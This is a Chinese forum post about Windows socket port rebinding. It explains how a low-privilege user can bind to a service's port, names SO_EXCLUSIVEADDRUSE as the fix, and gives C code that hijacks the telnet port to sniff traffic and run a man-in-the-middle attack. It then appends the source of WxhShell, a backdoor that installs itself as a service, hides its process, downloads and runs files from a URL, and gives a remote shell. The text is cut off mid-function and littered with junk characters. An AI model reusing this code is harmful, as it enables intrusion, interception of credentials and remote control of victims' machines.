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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4\Nt"#U)g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )2lzPK t  
?|}%A9   
  saddr.sin_family = AF_INET; ik:fq&=  
)TH~Tq:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  v7Q=  
6xfG`7Az  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "V7 SB   
B`I9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >S]_{pb  
U`25bb1W j  
  这意味着什么?意味着可以进行如下的攻击: H6fR6Kr4j  
XMJEIG  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sD_"  
. PAR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4I %/}+Q  
I[td:9+hK@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 335\0~;3  
]Sl]G6#Iwv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IJnh@?BC  
9bE/7v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }iu(-{Z  
97XGJ1HI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Td|x~mZv:  
P. V #  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Tw)"#Y!T  
/d/Quro  
  #include #" 3az8u  
  #include C{"uz_Gh  
  #include ?:8wDV  
  #include    Po+tk5}''5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c <T'_93  
  int main() VlLc[eVV  
  { !"dn!X  
  WORD wVersionRequested; !Eof7LUE  
  DWORD ret; <kY ||  
  WSADATA wsaData; ]t'bd <O  
  BOOL val; Y$L>tFA  
  SOCKADDR_IN saddr; kJy bA  
  SOCKADDR_IN scaddr; 71$MhPvd<  
  int err; i*q!|^M  
  SOCKET s; @qGg=)T  
  SOCKET sc; vWM'}(  
  int caddsize; {1jywb }  
  HANDLE mt; #c2InwZV  
  DWORD tid;   s3., N|  
  wVersionRequested = MAKEWORD( 2, 2 ); "q'9-lk  
  err = WSAStartup( wVersionRequested, &wsaData );  `LWZ!Q  
  if ( err != 0 ) { |ULwUi-r  
  printf("error!WSAStartup failed!\n"); 1zz.`.R2U  
  return -1; 1!;}#m7v  
  } #"Wh$x%  
  saddr.sin_family = AF_INET; GNv5yWQ@  
   cdH Ug#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~w>Z !RuhT  
]0g%)fuMf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |H(Mmqgk  
  saddr.sin_port = htons(23); [;]@PKW?w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JN{xh0*  
  { _tGR:E  
  printf("error!socket failed!\n"); tFYIKiq2  
  return -1; $S|2'jc  
  } 8/4Gr8 o  
  val = TRUE; aD5G0d?u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X?F$jX|c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ya_4[vR<  
  { /_,} o7@t~  
  printf("error!setsockopt failed!\n"); _z3Hl?qk=  
  return -1; te+5@k#t  
  } gUrb&#\X  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a%wK[yVp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K%p*:P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /&+6nOP  
fGv`.T_d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ItoSORVV  
  { HxVQeyOR  
  ret=GetLastError(); 9t$%Tc#Z  
  printf("error!bind failed!\n"); =&- hU|ur  
  return -1; [SW@"C!  
  } ^z[-pTY  
  listen(s,2); LX %8a^?;  
  while(1) cZ" Ut  
  { 's]+.3">L1  
  caddsize = sizeof(scaddr); B) 81mcy  
  //接受连接请求 Oc]&1>M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l7]$Wc[  
  if(sc!=INVALID_SOCKET) wmNc)P4  
  { ?gSk%]S/!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); biFN]D  
  if(mt==NULL) GM/3*S$c  
  { @'EP$!c  
  printf("Thread Creat Failed!\n"); LRhq%7p7  
  break; ]Mh7;&<6[  
  } KAg<s}gQJ  
  } O ).1>  
  CloseHandle(mt); \bh3&Z'.  
  } u&=SZX&G k  
  closesocket(s); *5i~N}  
  WSACleanup(); $E^#DjhRQ3  
  return 0; t;DZ^Z"{  
  }   !d1}IU-h  
  DWORD WINAPI ClientThread(LPVOID lpParam) D&WXa|EOK  
  { -S=Zsr\  
  SOCKET ss = (SOCKET)lpParam; HA{-XPAWZ  
  SOCKET sc; 6, Q{/  
  unsigned char buf[4096]; %Km_Sy[7']  
  SOCKADDR_IN saddr; dkV%Pyj  
  long num; n\2VrUQ)M  
  DWORD val; (u]ajT  
  DWORD ret; Bc4{$sc"O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J! 4l-.-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uTRa]D_q  
  saddr.sin_family = AF_INET; -5NP@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B[ f{Ys  
  saddr.sin_port = htons(23); B;8YX>r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tUmI#.v   
  { b8 J\Lm|J  
  printf("error!socket failed!\n"); `>fN? He  
  return -1; @=c{GAj  
  } ?lxI& h  
  val = 100; eiZv|?^0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `d=$9Pi  
  { EX>|+zYL  
  ret = GetLastError(); bOCdf"!g  
  return -1; F}Bc +i#]  
  } iSxxy1R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'JEZ;9}  
  { TJ9,c2d+  
  ret = GetLastError(); _%s_w)  
  return -1; B{ NKDkDH  
  } ,q#^ _/?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]xfAdBi  
  { s,^?|Eo;0  
  printf("error!socket connect failed!\n"); !oU$(,#9  
  closesocket(sc); SaEe7eHd  
  closesocket(ss); &7 }!U  
  return -1; OwP9=9};  
  } L%a ni}V  
  while(1) k@5,6s:  
  { NDB]8C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -A9 !Y{Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y#PbC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,{c9Lv%@J  
  num = recv(ss,buf,4096,0); #VC^><)3  
  if(num>0) _Z6/r^c  
  send(sc,buf,num,0); r0kA47  
  else if(num==0) J+&AtGq]u  
  break; 1){1 HK  
  num = recv(sc,buf,4096,0); +a sJV1a  
  if(num>0) t8s1d  
  send(ss,buf,num,0); 5(MWgC1  
  else if(num==0) >TsJ0E?3x  
  break; -e%=Mpq.  
  } fHf+!  
  closesocket(ss); t4?g_$>   
  closesocket(sc); !EM21Sc  
  return 0 ; (FMYR8H*(  
  } *&e+z-E  
9B'l+nP  
i~z:Fe{  
========================================================== >"F~%D<.  
>qx~m>2|8]  
下边附上一个代码,,WXhSHELL 2 < &-  
q4 'x'8  
========================================================== V#!ypX]AB[  
g_] u<8&  
#include "stdafx.h" n<CJx+U  
)QTk5zt  
#include <stdio.h> xn@?CP`-y  
#include <string.h> "h7-nwm  
#include <windows.h> hC]c =$=7  
#include <winsock2.h> jjvm<;lv  
#include <winsvc.h> .,,?[TI  
#include <urlmon.h> T] EXm/  
Sct-,K%i  
#pragma comment (lib, "Ws2_32.lib") Vw9^otJu  
#pragma comment (lib, "urlmon.lib") N>Y`>5  
Dt1{]~30  
#define MAX_USER   100 // 最大客户端连接数 #X"\:yN  
#define BUF_SOCK   200 // sock buffer v5w I?HE  
#define KEY_BUFF   255 // 输入 buffer l4F4o6:]n  
=Gd[Qn83.%  
#define REBOOT     0   // 重启 *8/Q_w  
#define SHUTDOWN   1   // 关机 2{p`"xX  
p/lMv\`5  
#define DEF_PORT   5000 // 监听端口 j Xi<ZJ  
ynM{hN.+H  
#define REG_LEN     16   // 注册表键长度 5vbnO]8  
#define SVC_LEN     80   // NT服务名长度 NfR,m ]  
*&UVr  
// 从dll定义API 7!oqn'#>A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  2WE   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I6y&6g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yc]ni.Hz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q(k$HP  
8)"KPr63M  
// wxhshell配置信息 YhLtf(r  
struct WSCFG { #A]7cMZ'W  
  int ws_port;         // 监听端口 b daZ{5^{  
  char ws_passstr[REG_LEN]; // 口令 (^a;2j9  
  int ws_autoins;       // 安装标记, 1=yes 0=no dhK$ XG  
  char ws_regname[REG_LEN]; // 注册表键名 a4`@z:l  
  char ws_svcname[REG_LEN]; // 服务名 7R) )(-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bvG").8$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &v4w3'@1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gyCb\y+\a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $o]zNW;X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;S`Nq%,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mkE*.I0=  
IH~H6US  
}; 2z0HB+Y}x  
t s ?b[v  
// default Wxhshell configuration &p ;};n  
struct WSCFG wscfg={DEF_PORT, 6^{ hY^Z  
    "xuhuanlingzhe", lBG* P>;  
    1, 82J0t}:U  
    "Wxhshell", fy_'K}i3k  
    "Wxhshell", #Z$6> Xt  
            "WxhShell Service", & p_;&P_  
    "Wrsky Windows CmdShell Service", ` V^#Sb  
    "Please Input Your Password: ", AF3t#)q  
  1, M8cLh!!  
  "http://www.wrsky.com/wxhshell.exe", _"0n.JQg  
  "Wxhshell.exe" y\0^c5}  
    }; K7f-g]Ibdn  
|!!E5osXq  
// 消息定义模块 /mD KQ<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (sqS(xIY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ljt1:@SN(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3:Z(tM&-O  
char *msg_ws_ext="\n\rExit."; cC}s5`  
char *msg_ws_end="\n\rQuit."; @bqCs^U35  
char *msg_ws_boot="\n\rReboot..."; ?sS'T7r v  
char *msg_ws_poff="\n\rShutdown..."; -S,dG|  
char *msg_ws_down="\n\rSave to "; YSa:"A  
hq,;H40%/  
char *msg_ws_err="\n\rErr!"; '|XP}V0I  
char *msg_ws_ok="\n\rOK!"; e/Q[%y.X  
5\4>H6  
char ExeFile[MAX_PATH]; @{CpC  
int nUser = 0; :>3&"T.  
HANDLE handles[MAX_USER]; c(Ha"tBJ  
int OsIsNt; rM=Hd/ki5  
nr-mf]W&  
SERVICE_STATUS       serviceStatus; )<^ ~${$U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A+F-r_]}db  
'h= >ej*  
// 函数声明 0x`:jz`  
int Install(void); &y(aByI y  
int Uninstall(void); @nT8[v  
int DownloadFile(char *sURL, SOCKET wsh); (QRl -| +  
int Boot(int flag); 23OV y^b  
void HideProc(void); \FKIEg+(2  
int GetOsVer(void); 6op\g].P  
int Wxhshell(SOCKET wsl); XdS<51 C  
void TalkWithClient(void *cs); ~IqT >  
int CmdShell(SOCKET sock); njq-iU  
int StartFromService(void); &pba~X.u  
int StartWxhshell(LPSTR lpCmdLine); 2(c#m*Q!b  
=VY4y]V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \!^o<$s.G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aj`4uFhiL  
F Q k;  
// 数据结构和表定义 AQV3ZVP  
SERVICE_TABLE_ENTRY DispatchTable[] = a<o0B{7{BM  
{ _:K}DU'6  
{wscfg.ws_svcname, NTServiceMain}, zp9 ?Ia  
{NULL, NULL} o>*{5>#k'  
}; &qpA<F@7  
* ;M?R?+  
// 自我安装 R|M:6]}   
int Install(void) s24H.>Z  
{ uf>w*[m5  
  char svExeFile[MAX_PATH]; @'rO=(-b  
  HKEY key; Ucy9fM  
  strcpy(svExeFile,ExeFile); K5ph x  
'9[_ w$~(  
// 如果是win9x系统,修改注册表设为自启动 Y$Ke{6 4  
if(!OsIsNt) { iB,*X[}EqG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U^YPL,m1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 O6MI4:  
  RegCloseKey(key); w[+!c-A:H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5;Z~+$1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .iS]aJJ  
  RegCloseKey(key); xD#/@E1'Y  
  return 0; W&Hf}q s  
    } jCl[!L5/1  
  } Lg nGqIlx  
} G`P+J  
else { ;8v5 qz  
( 0h]<7  
// 如果是NT以上系统,安装为系统服务 $+);!?^|:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); > @%!r  
if (schSCManager!=0) x('yBf  
{ `^}9= Q'r  
  SC_HANDLE schService = CreateService tp]|/cx4  
  ( !I Nr  
  schSCManager, pqr" x2=.  
  wscfg.ws_svcname, 5a~1RL  
  wscfg.ws_svcdisp, I|5OCTu  
  SERVICE_ALL_ACCESS, onlyvH4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \*N1i`99  
  SERVICE_AUTO_START, =e+go ]87x  
  SERVICE_ERROR_NORMAL, [K KoEZ  
  svExeFile, `Qhh{  
  NULL, k$2Y)  
  NULL, :Rn9rdX  
  NULL, xle29:?l  
  NULL, wf4Q}l2,d  
  NULL dWUu3  
  ); Uoe?5Of(*  
  if (schService!=0) OG+$F  
  { b2Hpuej  
  CloseServiceHandle(schService); d]^i1  
  CloseServiceHandle(schSCManager); AK!G#ug  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S=2,jPX2r  
  strcat(svExeFile,wscfg.ws_svcname); 0#7 dm9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ex1ecPpN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L}mhMxOTi  
  RegCloseKey(key); x9e 9$ww}  
  return 0; #?*jdN:  
    } ?xet:#R'  
  } ep!.kA=\  
  CloseServiceHandle(schSCManager); (`p(c;"*C!  
} dB5DJ:$W$  
} uprQy<I@  
^PI49iB  
return 1; 9s)oC$\  
} ^:j$p,0e*S  
%([c4el>\F  
// 自我卸载 . <B1i  
int Uninstall(void) Q'VS]n  
{ v+G:,Tc"  
  HKEY key; 2$91+N*w9  
1rEP)66N  
if(!OsIsNt) { Xwi&uyvU&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TG9)x|!  
  RegDeleteValue(key,wscfg.ws_regname); p1nA7;B-m  
  RegCloseKey(key); bq O"k t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1#(1Bs6X  
  RegDeleteValue(key,wscfg.ws_regname); "J#:PfJ%  
  RegCloseKey(key); ^~Sn{esA  
  return 0; f+V':qz  
  } "->:6Oe2   
} "Tv7*3>  
} ~-+Zu<  
else { qo;\dp1  
8(}sZ)6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *`#,^p`j b  
if (schSCManager!=0) wO#+8js  
{ KB = z{g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]YP?bP,:  
  if (schService!=0) Tt\w^Gv\d  
  { '}u31V"SS  
  if(DeleteService(schService)!=0) { YSgF'qq\  
  CloseServiceHandle(schService); )VT/kIq-U  
  CloseServiceHandle(schSCManager); {/<&  
  return 0; 0pFHE>  
  } +mQSlEo  
  CloseServiceHandle(schService); pQNFH)=nw  
  } MQ44uHJ  
  CloseServiceHandle(schSCManager); 5qy}~dQ  
} 3o>t ~Sfi  
} ^|C|=q~:  
/Hmo!"W`  
return 1;  B]7jg9/  
} Kxn7sL$]=F  
o3=kF  
// 从指定url下载文件 u $#7W>R  
int DownloadFile(char *sURL, SOCKET wsh) {rZ"cUm  
{ WIm7p1U#V  
  HRESULT hr; +QX>:z  
char seps[]= "/"; y~7lug  
char *token; @nu/0+8h{  
char *file; TXcKuo=  
char myURL[MAX_PATH]; l'QR2r7&.  
char myFILE[MAX_PATH]; TeJ `sJ  
 iC]lO  
strcpy(myURL,sURL); w>u Z$/  
  token=strtok(myURL,seps); OX4D'  
  while(token!=NULL) )*ckJK  
  { =]e^8;e9  
    file=token; +pvJ?"J  
  token=strtok(NULL,seps); Br5Io=/wg  
  } !Yu-a!  
$4 Uy3C+6  
GetCurrentDirectory(MAX_PATH,myFILE); !\1W*6U8;  
strcat(myFILE, "\\"); Oq6n.:8g"  
strcat(myFILE, file); T;@>O^  
  send(wsh,myFILE,strlen(myFILE),0); KU,w9<~i(  
send(wsh,"...",3,0); rzDJH:W{2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4&e@>  
  if(hr==S_OK) ?LI9F7n  
return 0; p8l#=]\ ;  
else L?x?+HPY.  
return 1; Z@!W? Ed  
: !3y>bP)  
} Nl`ry2"<  
C4]%pi  
// 系统电源模块 2< Bv=B  
int Boot(int flag) @88i/ Z_  
{ Ky#B'Bh}`g  
  HANDLE hToken; ^z^e*<{WEl  
  TOKEN_PRIVILEGES tkp; I!gj;a?R  
9 w1ONw8v  
  if(OsIsNt) { ?bAFYF0!I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A@(h!Cq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T+RI8.#o  
    tkp.PrivilegeCount = 1; '*u;:[73  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \_nmfTr!K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y PYJc  
if(flag==REBOOT) { ?4e6w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Hi]&)p_  
  return 0; JWHt|zB g  
} 3^> a TU<Z  
else { $?AA"Nz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A(OfG&!  
  return 0; uz3pc;0LPY  
} xY2_*#{.  
  } *)1Vs'!-  
  else { Wxau]uix  
if(flag==REBOOT) { [P=[hj;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o!`O i5  
  return 0; zI_GdQNfN  
} m\M+pjz  
else { o MkY#<Q}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $'YKB8C  
  return 0; Tw;qY  
} WwtE=od  
} yr2L  
\&&(ytL  
return 1; NjN?RB/5  
} L8wcH  
-MU.Hu  
// win9x进程隐藏模块 heZy 66  
void HideProc(void) Q4Fq=kTE  
{ 6\fMzm  
RS `9?c:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U q w}4C/0  
  if ( hKernel != NULL ) 8KwC wv  
  { D%UZ'bHN*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q|i%)V`)-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $?J+dB  
    FreeLibrary(hKernel); igB rmaY'  
  } o 7W Kh=  
4:&qT Y)H  
return; in #]3QGV  
} m+2`"1IE[  
yISQYvSN  
// 获取操作系统版本 aT:AxYn8  
int GetOsVer(void) Yz-JI=  
{ Fra>|;do  
  OSVERSIONINFO winfo; 76A>^Bs\/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IAF;mv}'  
  GetVersionEx(&winfo); Secq^#]8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xVkTRCh  
  return 1; {XD/8m(hN|  
  else 2FIR]@MQd  
  return 0; =lC;^&D-0/  
} hMeqs+  
w zqd g  
// 客户端句柄模块 1i/::4=  
int Wxhshell(SOCKET wsl) nt0\q'&  
{ )R8%'X;U  
  SOCKET wsh; I+"?,Ej$K  
  struct sockaddr_in client; $.Q>M]xH  
  DWORD myID; R G0S  
Afy .3T @)  
  while(nUser<MAX_USER) n5+S"  
{ -}X?2Q  
  int nSize=sizeof(client); G/z\^Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !3I(4?G,  
  if(wsh==INVALID_SOCKET) return 1; daB l%a=  
8HFXxpt[G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -*%!q$:  
if(handles[nUser]==0)  /MqXwUbO  
  closesocket(wsh); 9Ue7 ~"=  
else uR:=V9O  
  nUser++; Yi&-m}  
  } m io1kDq<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =^Sw*[eiy  
Bhu@ 2KdA  
  return 0; w;c#drY7S  
} E {KS a  
z_Wm HB  
// 关闭 socket Yn4)Zhkk  
void CloseIt(SOCKET wsh) ,<$YVXe/  
{ wD6!#t k  
closesocket(wsh); |O(-CDQe  
nUser--; t1w2u.]  
ExitThread(0); yS)- &t!;  
} w}j6 .r  
i}`_H^  
// 客户端请求句柄 cK[R1 ReH  
void TalkWithClient(void *cs) FE+7X=y  
{ J 0Hm)*  
VX;zZ`BJ  
  SOCKET wsh=(SOCKET)cs; ) \-96 xd  
  char pwd[SVC_LEN]; cophAP  
  char cmd[KEY_BUFF]; HkdN=q  
char chr[1]; #7]o6  
int i,j; W(2+z5z  
=_8 UZk.  
  while (nUser < MAX_USER) { _,_8X7  
X a"XB  
if(wscfg.ws_passstr) { lI4J=8O0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q+b.-iWR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >+:r '  
  //ZeroMemory(pwd,KEY_BUFF); 6Z(*cf/s  
      i=0; 2y+70(E1  
  while(i<SVC_LEN) { _{e&@ d  
qRPc %"  
  // 设置超时 $ZI~8rI~  
  fd_set FdRead; =[P%_v``  
  struct timeval TimeOut; ~V2ajM1Z&O  
  FD_ZERO(&FdRead); 4= Tpi`  
  FD_SET(wsh,&FdRead); .pM &jni Y  
  TimeOut.tv_sec=8; Z 7s;F}=  
  TimeOut.tv_usec=0; 3@^>#U   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hN gpp-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [,O`MU  
! Ea&]G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cBifZv*l  
  pwd=chr[0]; ^]$$)(jw  
  if(chr[0]==0xd || chr[0]==0xa) { j:3EpD@GS  
  pwd=0; d"H<e}D  
  break; _W0OM[  
  } D =r-  
  i++; H>?:U]  
    } J>=1dCK  
CAUijMI@  
  // 如果是非法用户,关闭 socket T8$%9&j!UE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qyg*n>nt  
} atY *8I|  
K??1,I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ HK1X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8[{|xh(  
[_WI8~g Y  
while(1) { g4N%PV8  
jHAWK9fa  
  ZeroMemory(cmd,KEY_BUFF); /M3y)K`^  
i2$*}Cu  
      // 自动支持客户端 telnet标准   NW{y% Z  
  j=0; 6Z~Ya\~.g.  
  while(j<KEY_BUFF) { S dIGU[fm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j%pCuC&"  
  cmd[j]=chr[0]; =/6p#d*0  
  if(chr[0]==0xa || chr[0]==0xd) { M^z=1YrMd  
  cmd[j]=0; i?F[||O"$  
  break; =~J"kC  
  } Ovv ny$  
  j++; XtCoX\da  
    } %_R$K#T^,  
*(k%MTG  
  // 下载文件 i"L }!5  
  if(strstr(cmd,"http://")) { QU:EY'2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pT4qPta,2  
  if(DownloadFile(cmd,wsh)) Ptx,2e&Hq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 79D=d'e A  
  else E{uf\Fc   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !w q4EV  
  } i90}Xyt  
  else { @l'G[jN5  
bE?'C h  
    switch(cmd[0]) { UqN{JG:#.  
  \V= &&(n#  
  // 帮助 qAqoZMpI|;  
  case '?': { R'zu"I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \e<mSR  
    break; T^~)jpkw  
  } <eY %sFq,  
  // 安装 75ZH  
  case 'i': { cVp[ Z#B  
    if(Install()) *4t-e0]j@w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k({2yc#RD&  
    else q(IZJGb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :$=|7v  
    break; rFo\+//  
    } }sv!=^}BY3  
  // 卸载 h40'@u^W  
  case 'r': { a mqOxb  
    if(Uninstall()) CWs: l3_yn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); || [89G  
    else }'%^jt[3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6/| 0+G^  
    break; 6O9iEc,HM  
    } czI{qi5N  
  // 显示 wxhshell 所在路径 mj@31YW  
  case 'p': { XYjcJ  
    char svExeFile[MAX_PATH]; IAf$]Fh  
    strcpy(svExeFile,"\n\r"); ~\$=w10  
      strcat(svExeFile,ExeFile); Jen%}\  
        send(wsh,svExeFile,strlen(svExeFile),0); PWvSbn6  
    break; D9.`hs0  
    } )u;JwFstX  
  // 重启 .d~\Ysve  
  case 'b': { U;g S[8,p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sk\n;mL:  
    if(Boot(REBOOT)) 4qt+uNe!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'w(y J  
    else { !6H uFf  
    closesocket(wsh); :[xvlW29  
    ExitThread(0); F.<L> G7{1  
    } cGNvEM(4AV  
    break; Q"%S~&#'  
    } qe$33f*  
  // 关机 j$Nf%V 6Y  
  case 'd': { (S|a 9#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (YwalfG {C  
